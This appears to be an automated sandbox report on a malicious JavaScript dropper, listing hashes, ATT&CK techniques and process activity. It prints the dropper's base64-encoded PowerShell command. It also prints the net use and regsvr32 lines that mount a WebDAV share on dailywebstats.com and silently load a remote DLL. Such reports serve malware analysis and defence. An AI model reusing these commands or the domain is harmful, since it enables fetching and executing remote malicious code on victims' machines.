a5cf51b5bcc07a914aced393d01843fd704ed3008c4e5267137ae014af7b4cc9

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 14:39

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General

Target

a5cf51b5bcc07a914aced393d01843fd704ed3008c4e5267137ae014af7b4cc9.js
Size

13KB
MD5

acf3a27b869305e40e6adb63e5adb902
SHA1

f15c44f4a564cc18796234e51985e40d1ae5826c
SHA256

a5cf51b5bcc07a914aced393d01843fd704ed3008c4e5267137ae014af7b4cc9
SHA512

a4223d3ab0684b65758e6bf59d8643278bca09b2d7b2338b569c9df6f164de0d9033043f80e1e23c22c3f3ea0a645071416a7c57b324f04c9510c5d5b82ec03c
SSDEEP

96:QlgB0wuuVX1HVd5HrYdH6DItAt0UAPbZ+9EYiA99CPsEze6DItAt0UAPbZ+9EYip:QB+VFHwPZ/YPZ/BZf

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2712	2848	wscript.exe	30
PID 2848 wrote to memory of 2712	2848	wscript.exe	30
PID 2848 wrote to memory of 2712	2848	wscript.exe	30
PID 2712 wrote to memory of 2056	2712	powershell.exe	32
PID 2712 wrote to memory of 2056	2712	powershell.exe	32
PID 2712 wrote to memory of 2056	2712	powershell.exe	32
PID 2712 wrote to memory of 2888	2712	powershell.exe	33
PID 2712 wrote to memory of 2888	2712	powershell.exe	33
PID 2712 wrote to memory of 2888	2712	powershell.exe	33
PID 2712 wrote to memory of 2888	2712	powershell.exe	33
PID 2712 wrote to memory of 2888	2712	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a5cf51b5bcc07a914aced393d01843fd704ed3008c4e5267137ae014af7b4cc9.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMgAyADMAMAAzADAANAA3ADQAMgA3ADEAMwAwAC4AZABsAGwA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2056
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\122303047427130.dll
    3⤵
    PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2712-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

Filesize
4KB

Download
memory/2712-5-0x000000001B810000-0x000000001BAF2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2712-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2712-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2712-9-0x0000000002B5B000-0x0000000002BC2000-memory.dmp

Filesize
412KB

Download
memory/2712-8-0x0000000002B54000-0x0000000002B57000-memory.dmp

Filesize
12KB

Download
memory/2712-11-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download